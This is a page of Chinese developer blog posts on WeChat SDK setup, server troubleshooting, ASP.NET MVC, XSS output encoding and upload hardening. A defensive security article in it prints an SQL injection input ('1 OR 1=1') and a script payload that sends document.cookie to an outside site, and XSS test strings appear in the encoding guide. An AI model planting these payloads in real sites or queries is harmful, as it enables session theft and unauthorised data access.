博客 (77)

  1. 下载 Senparc 官方 Sample


  2. 打开:\WeiXinMPSDK-master\src\Senparc.Weixin.MP.Sample\Senparc.Weixin.MP.Sample.sln


  3. 工具 - NuGet 包管理器 - 管理解决方案的 NuGet 程序包 - 更新

    选择所有的包(Microsoft.Net.Http 无法更新,暂不勾选),更新

    Microsoft.Net.Http 是个老顽固,无法更新也无法卸载,原因是它的语言包 Microsoft.Net.Http.zh-Hans 无法安装。我们切换到“已安装”选项卡,搜索“Microsoft.Net.Http”,选中 Microsoft.Net.Http.zh-Hans 并卸载它,现在我们可以更新 Microsoft.Net.Http 了。


  4. 【可能】运行报错:

    “/”应用程序中的服务器错误。

    配置错误

    说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 

    分析器错误消息: 创建 system.web.webPages.razor/host 的配置节处理程序时出错: 未能加载文件或程序集“System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35”或它的某一个依赖项。找到的程序集清单定义与程序集引用不匹配。 (异常来自 HRESULT:0x80131040)

    源错误: 

    行 4:    <configSections>
    行 5:      <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35">
    行 6:        <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" requirePermission="false" />
    行 7:        <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" requirePermission="false" />
    行 8:      </sectionGroup>


    源文件: E:\WeiXinMPSDK-master\src\Senparc.Weixin.MP.Sample\Senparc.Weixin.MP.Sample\views\web.config    行: 


    展开 Senparc.Weixin.MP.Sample 引用,查看 System.Web.Razor 的属性,复制版本号。打开 \views\web.config,修改 System.Web.WebPages.Razor 的 Version(有 3 处)。


  5. 对于小型开发项目来说,我习惯将所有代码放在同一个项目(Project)中来,所以做了以下处理:(盛派官方分离这些代码是为了同时供 MVC 和 WebForms 重用)

    在 Senparc.Weixin.MP.Sample 中添加文件夹 CommonService,将 Senparc.Weixin.MP.Sample.CommonService 项目中的文件夹和文件(.config 除外)拖到 CommonService 文件夹中。

    卸载 Senparc.Weixin.MP.Sample.CommonService 项目并删除引用。


  6. 在解决方案的 Libraries 文件夹中,我们看到 Sample 项目了以下功能模块,这些就是 Senparc.Weixin 的源代码,如果不需要修改,可以卸载它们改为使用从 NuGet 获取,以便随时更新到最新版本:

    Senparc.WebSocket

    Senparc.Weixin

    Senparc.Weixin.MP

    Senparc.Weixin.MP.MvcExtension NuGet 中对应的包名为:Senparc.Weixin.MP.MVC

    Senparc.Weixin.Open

    Senparc.Weixin.Work

    Senparc.Weixin.WxOpen

    Senparc.Weixin.Cache.Memcached

    Senparc.Weixin.Cache.Redis

    卸载这些项目,并在 NuGet 中安装这些模块(搜索“Senparc.Weixin”第一页都在了,认准作者 Jeffrey Su)

    单元测试项目中的引用也按需更换,当然也可以卸载这些单元测试项目(视情况保留 Senparc.Weixin.MP.Sample.Tests) 。


  7. 【可能】运行报错


    HTTP Error 500.19 - Internal Server Error

    无法访问请求的页面,因为该页的相关配置数据无效。

    配置源:

    134:     </sessionState>

    135:   <sessionState customProvider="Memcached" mode="Custom">

    136: <providers>


    可以在 Global.asax 的 RegisterWeixinCache() 中修改 Memcached 配置。

    或者打开 Web.config,找到 Memcached 所在的 sessionState 标签,注释掉,这样程序自动使用上方的 InProc(应用进程内)。

    如果开启了 ASP.NET State Service 服务,那么建议改用 StateServer,与 Custom 一样需要序列化,方便日后改用 Memcached 或 Redis。


  8. 再次更新 NuGet,否则会提示无法加载 Enyim.Caching 的错误(报错行:MemcachedObjectCacheStrategy.RegisterServerList(memcachedConfig);)。


  9. 接下来,进入微信公众平台,在左侧 开发 - 基本配置 中设置相关参数(填写“服务器地址(URL)”如“https://weixin.xoyozo.net/weixin/”),打开 Sample 项目中的 Web.config,配置我们的公众号参数。


  10. 将项目发布到服务器上,尝试向公众号发送消息吧。


  11. 单元测试

    设置单元测试中的公众号配置项:打开 Senparc.Weixin.MP.Test/CommonAPIs/CommonApiTest.cs,在 AppConfig 方法中可以看到支持两种配置方式,在 Senparc.Weixin.MP.Test/Config/test.config 配置文件中配置,或直接在 CommonApiTest.cs 文件中配置,前者格式如下,后者建议只在个人测试项目中使用。

    <Config>
      <AppId>YourAppId</AppId>
      <Secret>YourSecret</Secret>
      <MchId>YourMchId</MchId>
      <TenPayKey>YourTenPayKey</TenPayKey>
      <TenPayCertPath>YourTenPayCertPath</TenPayCertPath>
      <!-- 小程序 -->
      <WxOpenAppId>YourOpenAppId</WxOpenAppId>
      <WxOpenSecret>YourWxOpenSecret</WxOpenSecret>
    </Config>

    另外,将 _testOpenId 值改为自己的微信号在本公众号上的 openid。


  12. 微信网页授权(OAuth2)

    打开 OAuth2Controller 控制器,将“Index”Action 中的盛派的网址(有 2 处)改成:

    Request.Url.Scheme + "://" + Request.Url.Authority + "/Oauth2/……


  13. 未完待续……

xoyozo 8 年前
7,068

本文介绍使用 Fireworks 将一个彩色 LOGO 图片改为单色的方法。

原图:

1.png

处理后的图片:

10.png


步骤:

一、选中图层,菜单 - 滤镜 - 调整颜色 - 色相/饱和度...,将亮度调整为 100

2.png

3.png


二、导出一次再打开

4.png


三、在工具箱中找到长按“橡皮图章”工具,选择“替换颜色”工具,将样本设为 #FFFFFF,终止设为希望的颜色,如 #C4D0D9

6.png

7.png

8.png


四、涂抹图层上的文字就大功告成啦

9.png

xoyozo 8 年前
10,307

本文不定时更新!


A: MySQL 执行 SHOW FULL PROCESSLIST 

Q: 查看连接数和慢查询,适用于 MySQL 数据库无法连接 1040


A: iftop -i eth0

Q: 查看占用带宽的IP(命令:iftop -i eth0 -F ip/24),添加到安全组、防火墙、宝塔的黑名单中。

命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。


A: goaccess -f xxx.log

Q: 实时分析网站日志,查看请求最多的IP


A: net.xoyozo.weblog 日志分析工具

Q: 自制的 Web 日志分析工具,可按多种方式排序,纠出可疑访问


A: 重启 web 服务器

Q: 有时候能解决 CPU 和内存消耗的问题,如果一会儿又升高,则需要找另外的原因


Q: 500 服务器内部错误

502 Bad Gateway

504 Gateway Time-out

A: 查看 php 日志,可能的路径:

/usr/local/php/var/log/php-fpm.log

/www/server/php/[版本]/var/log/php-fpm.log


Q: RDS MySQL IOPS 使用率高的原因和处理

A: 根据时间点查看慢查询


Q: Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等

A: 进入管理中心 - 工具 - 更新缓存,能解决大部分问题


Q: Discuz! 浏览帖子提示“没有找到帖子

A: 进入数据库,修复表 pre_forum_post 或分表


Q: CPU 100% 或内存 100%,负载100+

A: 原因有很多,以下是一些建议:

Windows 在任务管理器中查看进程

当前是否有正常的大流量访问(譬如民生类论坛的某个帖子突然火了)特别是重启无效的情况

对比网站日志大小可大致确定哪个网站被大量恶意请求。

观察:命令 top

排查:通过关闭网站来确定是某网站的问题,通过关闭功能确定是某功能的问题,如果 nginx 崩溃请参下条

案例:通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的,更新插件和 mobcent 包解决问题。

如果都是正常访问,top 看到很多 php-fpm,而且个个占用 CPU 还不小,那么根据服务器硬件配置来修改 php 的并发量,如宝塔面板在 php 设置 - 性能调整 页,300 并发方案的推荐配置是:

max_children:300
start_servers:30
min_spare_servers:30
max_spare_servers:180

另外,memcached 或 redis 的配置也可以进行相应的修改。

另一个案例是 kswapd0 进程占满 CPU,原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。

也可以通过 iftop 来查询占用带宽较多的 IP 并封禁(出方向),如果 CPU 能降下来,那这个 IP 就是罪魁祸首。


Q: 阿里云 ECS 的 CPU 突然达到 100%,并持续到次日 0:00 左右

A: 可能 ECS 是 t5 规格,受 CPU 积分制度限制,积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。


Q: ASP.NET 所在服务器 CPU 突然达到 50% 或 100%,并持续

A: 首先确定哪个网站,再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。


Q: nginx 服务停止

A: 查看 nginx 日志

WDCP 路径:/www/wdlinux/nginx-1.0.15/logs/error.log


Q: 公网出带宽 100%,其它指标正常

A: Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID,然后在任务管理器-详细信息中的找到对应的用户(如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽);如果是被 PID 为 4 的 System 占用大部分带宽,也可以尝试重启 IIS 来解决。

CentOS 使用 nethogs 查看占用带宽的进程PID和USER,如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽,否则只能一个个关闭网站来判断,不知道大家有没有好的方法?当然还可以直接用 iftop 命令查看占用带宽的 IP。另外,查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。


A: Linux 显示每个用户会话的登入和登出信息

utmpdump /var/log/wtmp

参考:http://www.tulaoshi.com/n/20160331/2050641.html


Q: RDS 的 CPU 100%

A: 如果是突然持续占满(同时伴随 ECS 资源使用率下降,页面出现 502),很大可能是受攻击(或社交网站推送突发事件等),查看“慢查询”,添加相关索引;如果是 Discuz! 论坛,可尝试修复优化表 pre_common_session。

如果是数日缓步上升,或新项目上线,考虑 SQL 慢查询,思路:MySQL / SQL Server

MySQL:SHOW FULL PROCESSLIST

SQL Server:sp_who


Q: php 网站的服务器,内存在数天内缓慢上升

A: 大概是 php-fpm 占用过多,或进程数太多

更改 php 的配置(如 max_spare_servers),执行:service php-fpm reload


Q: 进程 cloudfs 占用内存过多

A: 参:https://xoyozo.net/Blog/Details/cloudfs-cache


Q: RDS 磁盘占用过大

A: 参:https://xoyozo.net/Blog/Details/how-to-use-rds


Q: ECS 受到 DDoS 攻击怎么办?

A: 参:https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp


Q: 如果 ECS 和 RDS 各项指标都没有异常,但网页打开慢或打不开502,TTFB 时间很长,是什么原因?(ECS 的 CPU 100%,RDS 的连接数上升,也可参考此条)

A: 数据库有坏表,尝试优化/修复表(慢 SQL 日志中锁等待时间较长的表?),或主备切换。show full processlist 时看到许多

DELETE FROM pre_common_session WHERE  sid='******'  OR lastactivity<******  OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)


Q: Discuz! 创始人(站长)密码被改

A: 数据库找到 pre_ucenter_members 表,复制其它的已知登录密码的账号,复制其 password 和 salt 两个字段的值到创始人账号中,创始人账号即可用该密码登录了。


Q: 通过 iftop 观察到,Discuz! 网站从 RDS 数据库到 ECS 网站服务器私网流量非常大,远大于公网流量

A: 可能是缓存出问题了,尝试卸载重装 Redis 来解决。


Q: 宝塔面板中安装的 Redis 经常自动停止

A: 尝试卸载重装 Redis 来解决。


Q: 马甲客户端出现“您的网络有些问题”

A: 原因有许多,其中一个就是新建了一个数据表,然后 /source/class/table/ 下面丢失了对应的文件,具体可以找官方排查原因。


Q: 排查服务器安全需要检查哪些日志?

A: Web日志、登录日志(/var/log/secure)等。


Q: 带宽波形以几分钟为周期呈锯齿状波动是什么原因?

A: 该现象主要由防火墙流量管控机制与检测周期设置共同作用所致。防火墙基于预设的带宽阈值执行安全防护策略,当检测到流量峰值超过设定阈值时,将自动触发限流策略拒绝后续请求。待流量回落至安全阈值后,系统自动恢复服务访问权限。若防火墙的带宽采样检测周期设置过长(如以分钟为单位的检测间隔),将导致系统对实时流量变化的响应出现迟滞。这种周期性的检测机制会使带宽监控数据在阈值临界点附近呈现规律性的锯齿状波动特征。

优化建议:可通过调整防火墙的流量检测周期至更小时间粒度(如10-15秒),或采用动态流量整形策略,以实现更平滑的带宽控制效果。

补充说明:对于阿里云监控数据的调用,建议注意接口调用频率管控。高频调用云监控API接口将触发阿里云的API计费策略,可能产生额外的资源消耗成本。


其它案例

  1. 某台 ECS 上的多个网站出现 502,查询到 CPU / 内存 / 带宽 都比平时高,但都未满。用 iftop 看到连接的一个远程 Redis 占用内网带宽非常高。尝试重启远程 Redis 未果。尝试重启 ECS 上的 nginx 未果。尝试重启 ECS 未果。进入 ECS 的宝塔面板,重启 PHP 有效。

xoyozo 8 年前
9,136

公众号的报警群中经常收到这样的消息:

Appid: *
昵称: *
时间: *
内容: 微信服务器向公众号推送消息或事件后,开发者5秒内没有返回
次数: *分钟 *次
错误样例: [OpenID=*][Stamp=*][3rdUrl=http://api.socialbase.cn/extapi/wechat/message/*/][IP=*][Event=Click Menu Url]
报警排查指引,请见: http://url.cn/ab0jnP

除此之外还有另外一个问题,就是客户端发送图片后会收到两条回复,一条是“印美图”处理打印图片链接,另一条是识脸判断年龄的图文。前者是之前与印美图公司合作的与快速打印照片设备配合吸粉的功能,后者是跳转到使用 FACE++ 的页面显示图片中人物的年龄。

blob.png blob.png

几天来一直找不出原因,代码中搜索错误关键词无果,被动回复消息整个流程断点逐步调试也没有发现哪里有返回“请点击这里预览印美图 点击此处裁剪相片并打印。”

不是开发模式的问题,那一定在公众平台,登录后终于在“开发”的“基本配置”页找到了“管理已授权的第三方平台”,找到“Socialbase”取消授权即可。

blob.png

整个世界安静了……

blob.png

xoyozo 8 年前
18,344

论坛使用阿里云的 ECS + RDS + OSS 搭建,最近经常隔三差五出现 RDS 的 CPU 和连接数突然满负荷的情况,导致数据库无法连接。这种情况一般会认为是受到了攻击,因为如果是访问量大或者是哪里有慢查询,应该是资源消耗逐步上升直至崩溃的,沿着这个思路去查 Web 日志封 IP,但效果不大,关闭功能、卸载插件也没用。

开启阿里云后台的 SQL 审计,能看到 SQL 查询日志,但是很难找有问题的 SQL。

最终在重启 RDS 后执行以下语句列出所有正在执行或阻塞的语句:

show full processlist

在结果列中,Command 为 Query 是正在执行查询操作的语句,发现几乎所有的 SQL 都是:

SELECT * FROM pre_forum_thread WHERE tid>0 AND fid IN('42','95','247','41','567','62','149','229','37','230','93','190','284','75','38','568') AND `fid`<>'546' AND replies > 0 AND displayorder>=0 ORDER BY lastpost DESC  LIMIT 10

再加上之前出现的情况是,论坛帖子列表和详情页面能正常打开时,论坛首页也不一定能打开,所以基本定位到是“首页四格”的数据库查询导致的。

进入论坛后台首页四格设置,对比了版块 id 后确认了这个 bug。

单独执行该语句大约耗时 5s(主题帖 200 万),设置的缓存时间 10 分钟。

processlist 中看到这些语句的 state 都是 Creating sort index,尝试去掉 ORDER BY 后执行果然只需要 16ms。

5s 内的访客都是从数据库读取的,能处理完就正常,否则累积就导致 RDS 崩溃,每 10 分钟都会重现一次风险。

当然这个问题可以通过添加索引来解决。

xoyozo 8 年前
7,402

新建项目

使用 VS2017 / VS2015 新建项目 - ASP.NET Web 应用程序 - MVC - 个人身份验证

添加模型

右击 Models 文件夹,添加 Movie

using System;
using System.Data.Entity;

namespace MvcMovie.Models
{
    public class Movie
    {
        public int ID { get; set; }
        public string Title { get; set; }
        public DateTime ReleaseDate { get; set; }
        public string Genre { get; set; }
        public decimal Price { get; set; }
    }

    public class MovieDBContext : DbContext
    {
        public DbSet<Movie> Movies { get; set; }
    }
}

Movie 类表示一部电影,一个对象实例对应数据库中一行,每个属性对应表中一列。

MovieDBContext 代表 EF 数据库上下文,处理抓取、存储、更新。

创建连接字符串和使用 SQL Server 

打开 Web.config

在 <configuration /> 中的 <connectionStrings /> 中添加

<add name="MovieDBContext" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename=|DataDirectory|\Movies.mdf;Initial Catalog=Movies;Integrated Security=True"
      providerName="System.Data.SqlClient" />

name 必须与 DbContext 类的名称匹配(MovieDBContext)

这步将会把数据库文件 Movies.mdf 创建到 App_Data 文件夹中,你也可以使用其它 SQL Server 数据库的连接字符串,简单的方法是:

在“服务器资源管理器”中添加连接

从右击属性中获取连接字符串

从控制器访问模型的数据

右击 Controllers 文件夹添加控制器,选择 包含视图的 MVC 5 控制器(使用 Entity Framework)

模型类:Movie (MvcMovie.Models)

数据上下文类:MovieDBContext (MvcMovie.Models)

F5 运行,访问 /Movies 可添加、查看、编辑、删除影片

添加新字段

设置模型更改的 Code First 迁移

程序包管理器控制台窗口中,在 PM> 提示符下输入

Enable-Migrations -ContextTypeName MvcMovie.Models.MovieDBContext

在 Migrations 文件夹中新建了 Configurations.cs,打开并在 Seed 方法中加入

context.Movies.AddOrUpdate(i => i.Title,
  new Movie
  {
    Title = "When Harry Met Sally",
    ReleaseDate = DateTime.Parse("1989-1-11"),
    Genre = "Romantic Comedy",
    Price = 7.99M
  },
  new Movie
  {
    Title = "Ghostbusters ",
    ReleaseDate = DateTime.Parse("1984-3-13"),
    Genre = "Comedy",
    Price = 8.99M
  }
);

Seed() 将在每次迁移(PM>update-database)后被调用执行,AddOrUpdate 将执行 upsert 操作(有则 update,无则 insert)

AddOrUpdate 的第一个参数指定用于检查行是否已存在的属性

如果该属性值不唯,则出现异常

序列包含多个元素

创建迁移命令:

PM>add-migration Initial

名称“Initial”是任意的

执行迁移:

PM>update-database

F5 运行将显示种子数据

向 Movie 模型添加 Rating 属性

向 Movie 类添加属性,生成

public string Rating { get; set; }

CreateEdit Action 方法的 Bind 属性添加 Rating

更改各视图支持新的 Rating 属性

此时 F5 运行将提示

System.InvalidOperationException:“支持“MovieDBContext”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库(http://go.microsoft.com/fwlink/?LinkId=238269)。”

要解决错误除了手动往数据库中添加 Rating 字段外可以利用 Code First 迁移:

更新 Migrations\Configuration.cs 给每个 Movie 对象添加一个 Rating 字段

PM>add-migration Rating

名称 Rating 是任意的

创建了 DbMigration 的派生类 Rating,可以看到添加新列的代码

PM>update-database

数据库自动完成了对新字段的添加,当然 update-database 也会把种子数据还原。

参考

Getting Started with ASP.NET MVC 5

 

xoyozo 8 年前
4,191

互联网项目里边,SQL 注入漏洞XSS 漏洞猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得输入里的单引号进行转义

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说,假设页面输出为:

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 8 年前
5,009

XSS (跨站脚本攻击)虽然手段初级,但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中,默认阻止了表单文本中的危险字符(譬如 HTML 标签),但有时为了功能需求,我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容,那么首先应该使用 JS 将数据进行 HTML 编码。

将以下测试文本填入到多行文本框内:

&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>

或将以下测试文本填入到单行文本框内:

&a=1'">a< /input>b<input value='"c<script>alert(1)</script>

使用 jQuery 异步 POST 方式提交到服务端:

$.post("post.aspx", {
  myData: $("#myTextarea").val()
}, function (data) {
  console.log(data);
}, 'text');

这时,post.aspx 将返回 500 内部服务器错误:

从客户端(......)中检测到有潜在危险的 Request.Form 值。

将提交代码稍作改动,把 POST 数据进行 HTML 编码

$.post("post.aspx", {
  myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
  console.log(data);
}, 'text');

这样,服务端接收到的 myData 值应该是:

&amp;a=1
'"&gt;ABC&lt;'"
&lt;/pre&gt;PRE&lt;pre&gt;
&lt;/textarea&gt;AREA&lt;textarea&gt;
&lt;script&gt;alert(1)&lt;/script&gt;

顺利通过 ValidateRequest 的检验。

我们在服务端对其进行一次 HTML 解码

string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时,去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");

客户端的编码和服务端的解码是一对互操作。

我们把用户输入的原始内容存入数据库中。

页面输出时,必须要经过 HTML 编码,否则内容将被解释成 HTML,出现跨站攻击漏洞。下面列出常见的输出到页面的方法(注意区分 <%=<%:<%# 与 <%#:)。这样,浏览器中查看源代码看到的即是 HTML 编码的内容,渲染后看到的即是原本在输入框中输入的原文。

// WebForm 输出到 div
<div><%: myData %></div>

// WebForm 输出到 pre
<pre><%: myData %></pre>

// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>

// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />

// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>

// WebForm 赋值到 <asp:TextBox /> (不需要手动 HtmlEncode)
input_myData.Text = myData;

// WebForm 绑定到数据控件
<%#: Eval("myData") %>

// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData

<%: 会自动替换 "'&quot;&#39;,不用担心输出到 <input /> 的 value 属性中会产生问题。

如果数据由 <textarea /> 提供并希望在输出时保持换行,那么先执行 HtmlEncode,再替换换行符:

// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>

// WebForm 输出到 pre(无须处理换行)
<pre><%: myData %></pre>

// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>

更特殊的例子:

// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
  title: {
    text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
  },
  ...
});

// 导出 Excel 时指定文件名(会自动替换非法字符)
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));

如果我们使用在线编辑器来编辑我们的内容,需要在浏览输出时实现“所见即所得”,那么就需要将原文输出到源代码,渲染后展示效果:

// ASPX
<%= myData %>

// Razor
@Html.Raw(Model.myData)

务必保证是网站编辑人员在授权登录下提交在线编辑器的内容,否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器,如一定要用,必须处理一些危险的标签,参此文


总结

客户端输入的原文,经过 JS 的 HTML 编码传输到服务器,HTML 解码后存入数据库,读取展示时 HTML 编码输出(在线编辑器的内容不需要编码)。


建议

如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest,不用不是太浪费了?

对于普通的文本框输入,我们省略 JS 端的 HTML 编码,省略服务端的 HTML 解码即可,输出仍然按文中描述处理。

好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。

我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理,以绕过 ValidateRequest。


顺便提一下,千万不要这样写:

<%= Request.QueryString["xxx"] %>

千万不要动态拼接 SQL 语句,防止 SQL 注入。

xoyozo 8 年前
5,401

程序设计规范:


  • 【推荐】上传的文件直接保存到文件存储服务(如阿里云 OSS),这样即使被上传了后门 shell,对网站服务器也不会有影响。

  • 否则必须通过文件头来确定文件类型,检查文件十六进制的文件头和文件尾是否合法,并检查文件流中是否包含 php、evel 等字符。

  • 不可直接使用客户端文件名来保存文件,特别是后缀名/扩展名。应生成随机文件名,并通过检验文件头来确定文件类型。必须由程序指定保存目录。

  • 使用 OSS 的应直接上传,不要在 ECS 上临时存放或备份。如必须存放的,应按上述规范操作。


服务器安全设置


CentOS + nginx + PHP:

  • 全站文件取消属性中的“执行”权限(chmod),因为这个“执行”与运行 PHP 无关。而需要上传文件的“目录”需要“执行”权限,原因是需要往该目录创建文件。

  • 仅需要写入的目录或文件设置“写入”权限。如上传图片目录、ThinkPHP 的 Runtime 目录。

  • 凡可写目录或文件均不允许运行 PHP / PY 等 除需要被直接访问的 PHP / PY 文件,其它动态文件均不允许被访问到,在 nginx 的配置文件中添加项,参:https://xoyozo.net/Blog/Details/nginx-location-if,若全站使用统一的入口文件访问,那么设置仅该文件允许运行 PHP 即可。通过 IO 方式被其它文件包含的文件,无需运行 PHP 权限。(“deny all”对 include 起作用,但对 IO 不起作用,因此 Runtime 目录可以继续为 ThinkPHP 提供缓存服务。)这一步非常有用。

  • 使用与 nginx 网站用户不同的用户来部署网站文件,如宝塔面板 PHP 使用 www 用户,那么就使用 root 或其它新用户来上传文件,否则将导致全站目录和文件可写。有条件的建议不同网站使用不同的用户,可防止一个网站被入侵后导致其它网站文件或磁盘上的其它文件被泄露的风险(2022年10月2日从宝塔官方社区获悉,宝塔面板暂不支持使用非 www 用户创建并运行网站)。


Windows Server + IIS + ASP.NET:

  • 配置每个磁盘的安全属性,拒绝“IIS_IUSRS”这个用户组的所有权限。只要设置驱动器即可,子文件夹和文件会自动继承。若运行 .NET Framework 项目,需要设置 C:\Windows\Microsoft.NET\Framework\v*.*.*****\Temporary ASP.NET Files\ 目录可修改写入权限,.NET Core 项目不需要此设置。

  • 为每个网站创建一个新用户,仅隶属于“IIS_IUSRS”。网站根目录安全属性添加该用户,权限选择“读取”。(已测取消“读取与执行”不影响 PHP,“列出文件夹内容”视业务需求开启,建议关闭)。仅需要上传文件的目录或文件设置“修改”、“写入”权限。(修改对应修改文件,写入对应上传文件)

  • IIS 网站中设置“物理路径凭据”以及应用程序池的“标识”。

  • IIS 中设置写入目录的“处理程序映射”无脚本

xoyozo 10 年前
5,877
成员名称 说明
Accepted

等效于 HTTP 状态 202。 Accepted 指示请求已被接受做进一步处理。

Ambiguous

等效于 HTTP 状态 300。 Ambiguous 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。

BadGateway

等效于 HTTP 状态 502。 BadGateway 指示中间代理服务器从另一代理或原始服务器接收到错误响应。

BadRequest

等效于 HTTP 状态 400。 BadRequest 指示服务器未能识别请求。如果没有其他适用的错误,或者不知道准确的错误或错误没有自己的错误代码,则发送 BadRequest。

Conflict

等效于 HTTP 状态 409。 Conflict 指示由于服务器上的冲突而未能执行请求。

Continue

等效于 HTTP 状态 100。 Continue 指示客户端可能继续其请求。

Created

等效于 HTTP 状态 201。 Created 指示请求导致在响应被发送前创建新资源。

ExpectationFailed

等效于 HTTP 状态 417。 ExpectationFailed 指示服务器未能符合 Expect 头中给定的预期值。

Forbidden

等效于 HTTP 状态 403。 Forbidden 指示服务器拒绝满足请求。

Found

